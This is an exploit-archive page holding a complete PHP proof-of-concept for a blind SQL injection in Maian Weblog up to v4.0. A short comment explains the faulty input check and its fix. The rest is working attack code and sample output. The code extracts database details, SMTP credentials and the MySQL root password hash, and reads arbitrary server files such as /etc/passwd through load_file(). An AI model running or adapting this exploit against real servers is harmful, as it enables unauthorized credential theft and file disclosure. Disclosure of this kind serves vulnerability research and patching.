maian weblog <= v4.0 remote blind SQL injection exploit

2011-03-09 12:15:07

<?php
/*
maian weblog <= v4.0 Remote Blind SQL Injection Exploit
vendor: http://www.maianscriptworld.co.uk/
Thanks to Johannes Dahse: http://bit.ly/dpQXMK

Explanation:
Lines 335 - 341 of the index.php we see this if statement that concerns
our variable $b_post.

// Check month and year vars...
// If they don`t equal 0, are they numeric?..
if ($b_post==0 && !ctype_digit($b_post))
{
header("Location: index.php");
exit;
}

This if statement is suppose to prevent the SQL Injection vulnerability.
However the logic implimented is incorrect, as there will never be a situation
where the $b_post variable that we control will ever be a 0 and a string value.

So a simple fix to remediate this issue becomes clear, instead of an &&, the
author was suppose to use an ||. o.O

Further down in the index.php page on lines 348 - 361, we see the location of the
actual vulnerable code.

$q_blog = mysql_query("SELECT * FROM ".$database['prefix']."blogs
WHERE id = '$b_post'
LIMIT 1
") or die(mysql_error());
$BLOG = mysql_fetch_object($q_blog);

// At this point, lets see if the last query fetched anything..
// If it didn`t, blog id is invalid. Might be someone bookmarked an old link..
// If no data, redirect to homepage..
if (mysql_num_rows($q_blog)==0)
{
header("Location: index.php");
exit;
}

The page redirects after the query is executed. This way you probably won't spot the
bug in your browser from a blackbox view :). No urldecode() so we can't bypass
magic_quotes_gpc and the admin credentials are not stored in the database. doh.

Using < or > would make the PoC a little more efficient, but oh well :0)
Assuming some stars are aligned, the PoC will make well over 11,000 requests...
[mr_me@pluto maian_weblog]$ php PoC.php -t 192.168.56.101 -d /maian_weblog/ -p 127.0.0.1:8080

-------------------------------------------------------
maian weblog <= v4.0 Remote Blind SQL Injection Explo!t
by mr_me - https://net-ninja.net/
-------------------------------------------------------

(+) Setting the proxy to 127.0.0.1:8080
(+) Getting basic database information
(+) Database version -> 5.1.41-3ubuntu12.9
(+) Database name -> maian_weblog
(+) Database user -> root@localhost
(+) SMTP details found!
(+) Getting SMTP host:user:pass -> localhost:maianmail:password
(+) Access to MySQL database successful, dumping hash!
(+) MySQL user:pass -> root:*EE4E2773D7530819563F0DC6FCE27446A51C9413
(!) Access to load_file(), wanna play? (y/n): y

(+) Please enter the file (q to quit): /etc/shadow
(-) File doesn't exist/no access.
(+) Please enter the file (q to quit): /etc/passwd
(!) Dumping the /etc/passwd file, hold onto your knickers!
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:......
*/

print_r("
-------------------------------------------------------
maian weblog <= v4.0 Remote Blind SQL Injection Explo!t
by mr_me - https://net-ninja.net/
-------------------------------------------------------
");

if ($argc < 3) {
print_r("
-----------------------------------------------------------------------------
Usage: php ".$argv[0]." -t <host:ip> -d <path> OPTIONS
host: target server (ip/hostname)
path: directory path to wordpress
Options:
-p[ip:port]: specify a proxy
Example:
php ".$argv[0]." -t 192.168.1.5 -d /webapps/wp/ -p 127.0.0.1:8080
php ".$argv[0]." -t 192.168.1.5 -d /webapps/wp/
-----------------------------------------------------------------------------
"); die; }

error_reporting(7);
ini_set("max_execution_time", 0);
ini_set("default_socket_timeout", 5);

$proxy_regex = "(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)";

function setArgs($argv) {
$_ARG = array();
foreach ($argv as $arg) {
if (ereg("--([^=]+)=(.*)", $arg, $reg)) {
$_ARG[$reg[1]] = $reg[2];
} elseif(ereg("^-([a-zA-Z0-9])", $arg, $reg)) {
$_ARG[$reg[1]] = "true";
} else {
$_ARG["input"][] = $arg;
}
}
return $_ARG;
}

$myArgs = setArgs($argv);
$host = $myArgs["input"]["1"];
$path = $myArgs["input"]["2"];

if (strpos($host, ":") == true){
$hostAndPort = explode(":",$myArgs["input"][1]);
$host = $hostAndPort[0];
$port = $hostAndPort[1];
}else{
$port = 80;
}

if(isset($myArgs["p"])){
$proxyAndPort = explode(":",$myArgs["input"][3]);
$proxy = $proxyAndPort[0];
$pport = $proxyAndPort[1];
echo "\n(+) Setting the proxy to ".$proxy.":".$pport;
}else{
echo "\n(-) Warning, a proxy was not set";
}

// rgods sendpacketii() function
function sendpacket($packet)
{
global $proxy, $host, $port, $pport, $html, $proxy_regex;
if (!isset($proxy)) {
$ock = fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo "\n(-) No response from ".$host.":".$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo "\n(-) Not a valid proxy..."; die;
}
$ock=fsockopen($proxy,$pport);
if (!$ock) {
echo "\n(-) No response from proxy..."; die;
}
}
fputs($ock,$packet);
if ($proxy == "") {
$html = "";
while (!feof($ock)) {
$html .= fgets($ock);
}
}
else {
$html = "";
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a), $html))) {
$html .= fread($ock,1);
}
}
fclose($ock);
return $html;
}

function read() {
$fp1 = fopen("/dev/stdin", "r");
$input = fgets($fp1, 255);
fclose($fp1);
return $input;
}

if (!$myArgs["p"]) {$p = $path;} else {$p = "http://".$host.":".$port.$path;}

function checksqli($sqli, $p){
$packet = "GET ".$p."index.php?cmd=blog&post=1".$sqli." HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "Connection: Close\r\n\r\n";
$html = sendpacket($packet);
if (strlen($html) > 429) { return 1; } else{ return 0; }
}

function getbasicinfo($p){
echo "\n(+) Getting basic database information";
$basicinfo = array("version" => "@@version", "name" => "database()", "user" => "user()");
foreach($basicinfo as $key => $value){
echo "\n(+) Database ".$key." -> ";
$admin = ""; $j=1;
while (!strstr($admin,chr(0))){
for ($i=1; $i<=126; $i++){
$sqli="'+and+ascii(substring(".$value.",".$j.",1))='".$i;
$packet = "GET ".$p."index.php?cmd=blog&post=1".$sqli." HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "Connection: Close\r\n\r\n";
$html = sendpacket($packet);
if (strlen($html) > 429){
$admin.= chr($i);
echo chr($i); break;
}
elseif($i === 126){
$admin .= "\x00";
break;
}
}
$j++;
}
}
}

function getlogindetails($p, $msg, $tsqli){
echo $msg;
$tempvar = ""; $j=1;
while (!strstr($tempvar,chr(0))){
for ($i=1; $i<=126; $i++){
if (!strpos($tsqli, "load_file") == true){
$sqli = $tsqli."+limit+0,1),".$j.",1))='".$i;
}
else
{
$sqli = $tsqli."),".$j.",1))='".$i;
}
$packet = "GET ".$p."index.php?cmd=blog&post=1".$sqli." HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "Connection: Close\r\n\r\n";
$html = sendpacket($packet);
if (strlen($html) > 429){
echo chr($i); break;
}
elseif($i === 126){
$tempvar .= "\x00";
break;
}
}
$j++;
}

}

function strhex($string)
{
$hex = "";
for ($i=0; $i < strlen($string); $i++){
$hex .= dechex(ord($string[$i]));
}
return $hex;
}

getbasicinfo($p);
$smtpsqli = "'+and+(select+1+from+mysql.user+limit+0,1)='1";
if (checksqli($smtpsqli, $p)){
echo "\n(+) SMTP details found!";
$msg = "\n(+) Getting SMTP host:user:pass -> ";
$sqli = "'+and+ascii(substring((sElEcT+cOncAt(";
$sqli .= "smtp_host,0x3a,smtp_user,0x3a,smtp_pass)+";
$sqli .= "from+mw_settings";
getlogindetails($p, $msg, $sqli);
}

$mysqlsqli = "'+and+(select+1+from+mysql.user+limit+0,1)='1";
if (checksqli($mysqlsqli, $p)){
echo "\n(+) Access to MySQL database successful, dumping hash!";
$msg = "\n(+) MySQL user:pass -> ";
$sqli = "'+and+ascii(substring((sElEcT+cOncAt(";
$sqli .= "user,0x3a,password)+from+mysql.user+";
getlogindetails($p, $msg, $sqli);
$loadsqli = "'+and+!isnull(loAd_fIle(0x2F6574632F706173737764))--+";
if (checksqli($loadsqli, $p)){
echo "\n(!) Access to load_file(), wanna play? (y/n): ";
$resp = trim(read());
if(strcmp($resp,"y") === 0){
$loadfile = "";
while (strcmp($loadfile, "q") != 0){
echo "\n(+) Please enter the file (q to quit): ";
$loadfile = trim(read());
if (strcmp($loadfile, "q") === 0) { break; }
$loadsqli = "'+and+!isnull(loAd_fIle(0x".strhex($loadfile)."))--+";
if(checksqli($loadsqli, $p)){
$sqli = "'+and+ascii(substring(load_file(0x".strhex($loadfile);
$msg = "(!) Dumping the ".$loadfile." file, hold onto your knickers!\n";
getlogindetails($p, $msg, $sqli);
}
else{
echo "(-) File doesn't exist/no access.";
}
}
}
else{
echo "(-) Ok Exiting..\n"; die;
}
}
}
?>

Fixes

No fixes

In order to submit a new fix you need to be registered.